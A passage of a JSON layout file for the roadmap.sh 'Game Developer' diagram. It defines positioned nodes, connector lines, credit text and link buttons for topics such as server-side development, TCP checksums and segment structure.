}\n      },\n      \"positionAbsolute\": {\n        \"x\": -51.14448607509672,\n        \"y\": 1482.4027065582582\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 123,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vQOg2sH4mRdekP8fu2l2y\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -368.31301933317815,\n        \"y\": 1567.4564918532815\n      },\n      \"width\": 150,\n      \"height\": 270,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 270\n      },\n      \"selected\": false,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": -368.31301933317815,\n        \"y\": 1567.4564918532815\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 150,\n        \"height\": 270\n      }\n    },\n    {\n      \"id\": \"xCBr001bGOe6pG2cBV5P2\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -518.6327630325113,\n        \"y\": 1566.8976823971498\n      },\n      \"width\": 154,\n      \"height\": 217,\n      \"style\": {\n        \"width\": 154,\n        \"height\": 217\n      },\n      \"selected\": false,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": -518.6327630325113,\n        \"y\": 1566.8976823971498\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 217\n      }\n    },\n    {\n      \"id\": \"p5tPgBIMsADIgyDPwrXds\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -53.23195037554086,\n        \"y\": 1398.1810870203947\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 391,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 391,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": -53.23195037554086,\n        \"y\": 1398.1810870203947\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 391,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"RpnDZAlSAM9gzffuCmIvY\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 467.0153285883124,\n        \"y\": 1254.3347138997447\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"O-vqKtOMAgcQL26Fief8r\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 76,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 76\n      },\n      \"positionAbsolute\": {\n        \"x\": 467.0153285883124,\n        \"y\": 1254.3347138997447\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 76\n      }\n    },\n    {\n      \"id\": \"QxCHUdHvPE1PYSROlwaaP\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 359.0153285883124,\n        \"y\": 1254.3347138997447\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"RpnDZAlSAM9gzffuCmIvY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 76,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 76\n      },\n      \"positionAbsolute\": {\n        \"x\": 359.0153285883124,\n        \"y\": 1254.3347138997447\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 76\n      }\n    },\n    {\n      \"id\": \"abe6O92f_d1pFu0RLF6_Z\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 172.08476767833992,\n        \"y\": 1149.9443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"O-vqKtOMAgcQL26Fief8r\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 93,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 93\n      },\n      \"positionAbsolute\": {\n        \"x\": 172.08476767833992,\n        \"y\": 1149.9443302389855\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 93\n      }\n    },\n    {\n      \"id\": \"kYNHe3y8YOfT2lLP1I8xw\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 79.04348787605068,\n        \"y\": 1106.9443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 301,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 301\n      },\n      \"positionAbsolute\": {\n        \"x\": 79.04348787605068,\n        \"y\": 1106.9443302389855\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 301\n      }\n    },\n    {\n      \"id\": \"dlmGJViN_PpdZRXgvcNI1\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -37.73195037554086,\n        \"y\": 1096.4443359375\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        },\n        \"oldId\": \"p5tPgBIMsADIgyDPwrXds\"\n      },\n      \"zIndex\": 999,\n      \"width\": 131,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 131,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": -37.73195037554086,\n        \"y\": 1096.4443359375\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 131,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"IDoNrKeTKP31kG61rgsuc\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -72.45654296875,\n        \"y\": 1114.0579118246837\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"ob2dlN-wIVcQOFVbSE9UD\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 65,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 65\n      },\n      \"positionAbsolute\": {\n        \"x\": -72.45654296875,\n        \"y\": 1114.0579118246837\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 65\n      }\n    },\n    {\n      \"id\": \"EuUyOm_J0Uo5qt9e2OtI_\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -176.95654296875,\n        \"y\": 1114.0579118246837\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"PzcDztjPaUEHW9Y7JXM-z\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 71,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 71\n      },\n      \"positionAbsolute\": {\n        \"x\": -176.95654296875,\n        \"y\": 1114.0579118246837\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 71\n      }\n    },\n    {\n      \"id\": \"ob2dlN-wIVcQOFVbSE9UD\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -52.73195037554086,\n        \"y\": 830.4443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 97,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 97\n      },\n      \"positionAbsolute\": {\n        \"x\": -52.73195037554086,\n        \"y\": 830.4443302389855\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 97\n      }\n    },\n    {\n      \"id\": \"0Ofr6cpaEUbohbp71donO\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -168.73195037554086,\n        \"y\": 830.4443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"IDoNrKeTKP31kG61rgsuc\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 97,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 97\n      },\n      \"positionAbsolute\": {\n        \"x\": -168.73195037554086,\n        \"y\": 830.4443302389855\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 97\n      }\n    },\n    {\n      \"id\": \"zr_KATtAVmEKpBT4WUoNh\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 229.08476767833986,\n        \"y\": 937.4443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 93,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 93,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 229.08476767833986,\n        \"y\": 937.4443302389855\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 93,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"2wJP9uXId9I4I04dbgOwF\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 229.08476767833986,\n        \"y\": 884.4443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"zr_KATtAVmEKpBT4WUoNh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 93,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 93,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 229.08476767833986,\n        \"y\": 884.4443302389855\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 93,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"eVEId_Ty9xOlo5JySxS-_\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 229.08476767833986,\n        \"y\": 832.4443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"zr_KATtAVmEKpBT4WUoNh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 93,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 93,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 229.08476767833986,\n        \"y\": 832.4443302389855\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 93,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"oo5RSmzBY8EIEhZUo7Kd-\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 9.584767678339915,\n        \"y\": -20.82399710033968\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        },\n        \"oldId\": \"QLA2IXBTDNrPyKGgxhfX1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 139,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 139\n      },\n      \"positionAbsolute\": {\n        \"x\": 9.584767678339915,\n        \"y\": -20.82399710033968\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 139\n      }\n    },\n    {\n      \"id\": \"XkHpamC32buckstAh-FKp\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -82.73195037554086,\n        \"y\": 108.55791182468352\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 252,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 252,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": -82.73195037554086,\n        \"y\": 108.55791182468352\n      },\n      \"dragging\": false,\n      \"resizing\": true,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 252,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"OYUf0l4D8S8JcQx_YIPNj\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -513.7045658739704,\n        \"y\": 147.05791182468352\n      },\n      \"width\": 228,\n      \"height\": 538,\n      \"style\": {\n        \"width\": 228,\n        \"height\": 538\n      },\n      \"selected\": false,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -513.7045658739704,\n        \"y\": 147.05791182468352\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 228,\n        \"height\": 538\n      }\n    },\n    {\n      \"id\": \"yxUTaHSb98G-cApFPb7tu\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -520.9565121239493,\n        \"y\": -40.82399710033968\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 74,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 74,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": -520.9565121239493,\n        \"y\": -40.82399710033968\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 74,\n        \"height\": 20\n      }\n    },\n    {\n      \"width\": 256,\n      \"height\": 68,\n      \"id\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": -108.73195037554086,\n        \"y\": -184.83998521803062\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Game Developer\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9nxw2PEl-_eQPW0FHNPq2\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -108.73195037554086,\n        \"y\": -184.83998521803062\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 256,\n        \"height\": 68\n      }\n    },\n    {\n      \"width\": 21,\n      \"height\": 64,\n      \"id\": \"LEijbLyxg4RyutKEM2Y5g\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 8.768049624459138,\n        \"y\": -243.55566976101449\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#0A33FF\"\n        },\n        \"oldId\": \"xD07fJ1NmNeAarVCEfubU\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": 8.768049624459138,\n        \"y\": -243.55566976101449\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 64\n      },\n      \"resizing\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 64\n      }\n    },\n    {\n      \"id\": \"yHmHXymPNWwu8p1vvqD3o\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 179.8414717224867,\n        \"y\": -232.76957062917046\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Find the detailed version of this roadmap along with other similar roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 355,\n      \"height\": 143,\n      \"positionAbsolute\": {\n        \"x\": 179.8414717224867,\n        \"y\": -232.76957062917046\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 355,\n        \"height\": 143\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 355,\n        \"height\": 143\n      }\n    },\n    {\n      \"id\": \"R_Fs6rdl2XtQ9aLOubMqL\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 193.04484613528683,\n        \"y\": -150.78400721142515\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"2zqZkyVgigifcRS1H7F_b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 193.04484613528683,\n        \"y\": -150.78400721142515\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 330,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xwpc_KxehAruFM0pCQnie\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 191.40964679943443,\n        \"y\": 2884.376596918144\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#4136D4\"\n        },\n        \"oldId\": \"Ju00mr0KLGN2BV6yEQGPt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 104,\n      \"positionAbsolute\": {\n        \"x\": 191.40964679943443,\n        \"y\": 2884.376596918144\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 104\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 104\n      }\n    },\n    {\n      \"width\": 444,\n      \"height\": 119,\n      \"id\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -20.090353200565573,\n        \"y\": 2793.7858464012675\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Visit the following relevant roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\"\n        },\n        \"oldId\": \"sVXZrBCsiSzWBBYWTm-nQ\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -20.090353200565573,\n        \"y\": 2793.7858464012675\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 444,\n        \"height\": 119\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 444,\n        \"height\": 119\n      }\n    },\n    {\n      \"id\": \"SIvQYH0q1H29NgbtLq3L8\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -446.07124610794176,\n        \"y\": -55.32399710033968\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Client Side\",\n        \"href\": \"https://roadmap.sh/game-developer\",\n        \"color\": \"#000000\",\n        \"backgroundColor\": \"#DEDEDE\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#DEDEDE\"\n      },\n      \"zIndex\": 999,\n      \"width\": 213,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 213,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -446.07124610794176,\n        \"y\": -55.32399710033968\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 213,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rQArtuVKGVgLn_fw9yO3b\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -115.91523232166008,\n        \"y\": -55.32399710033968\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Server-Side Development\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"m1wX27XBWKXZcTMH2U1xp\"\n      },\n      \"zIndex\": 999,\n      \"width\": 272,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 272,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -115.91523232166008,\n        \"y\": -55.32399710033968\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 272,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FbfHP9hFBuISrGzKaX-qm\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -520.8639110926986,\n        \"y\": -233.1028359109968\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Shout out to Chris Ohk who helped make the initial version of this roadmap.\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 348,\n      \"height\": 148,\n      \"style\": {\n        \"width\": 348,\n        \"height\": 148\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -520.8639110926986,\n        \"y\": -233.1028359109968\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 348,\n        \"height\": 148\n      }\n    },\n    {\n      \"id\": \"2zqZkyVgigifcRS1H7F_b\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -505.86391109269846,\n        \"y\": -152.09530466580176\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Visit his GitHub\",\n        \"href\": \"https://github.com/utilForever\",\n        \"color\": \"#000000\",\n        \"backgroundColor\": \"#dedede\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 318,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 318,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -505.86391109269846,\n        \"y\": -152.09530466580176\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 318,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 135,\n      \"height\": 49,\n      \"id\": \"ZSrQoNGKiR484uALMWO9F\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 277.25676028036133,\n        \"y\": 2851.475128312919\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"API Design\",\n        \"href\": \"https://roadmap.sh/api-design\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"dlGf3ZdFXYx0Z6Viu2x-l\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 277.25676028036133,\n        \"y\": 2851.475128312919\n      },\n      \"style\": {\n        \"width\": 135,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 135,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mUCidjOsVLMAVDf2jmV5F\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -163.23195037554086,\n        \"y\": 94.05791182468352\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"TCP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"6ilqzjvI4J1pUCmTJ33PA\"\n      },\n      \"zIndex\": 999,\n      \"width\": 113,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 113,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -163.23195037554086,\n        \"y\": 94.05791182468352\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 113,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XxBl-zO7CF6DpOZ2bMDxJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -514.7045658739704,\n        \"y\": 44.057911824683515\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Checksum\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 229,\n      \"height\": 46,\n      \"style\": {\n        \"width\": 229,\n        \"height\": 46\n      },\n      \"positionAbsolute\": {\n        \"x\": -514.7045658739704,\n        \"y\": 44.057911824683515\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 229,\n        \"height\": 46\n      }\n    },\n    {\n      \"id\": \"zTCmPUp9j5P1wpGgiboMa\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -514.7045658739704,\n        \"y\": 94.05791182468352\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Segment Structure\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 229,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 229,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -514.7045658739704,\n        \"y\": 94.05791182468352\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 229,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5sI3RHaLudq4TfpjoYeOp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -505.86391109269846,\n        \"y\": 303.0579118246835\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Connection\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 212,\n      \"height\": 49,\n      \"style\": {\n        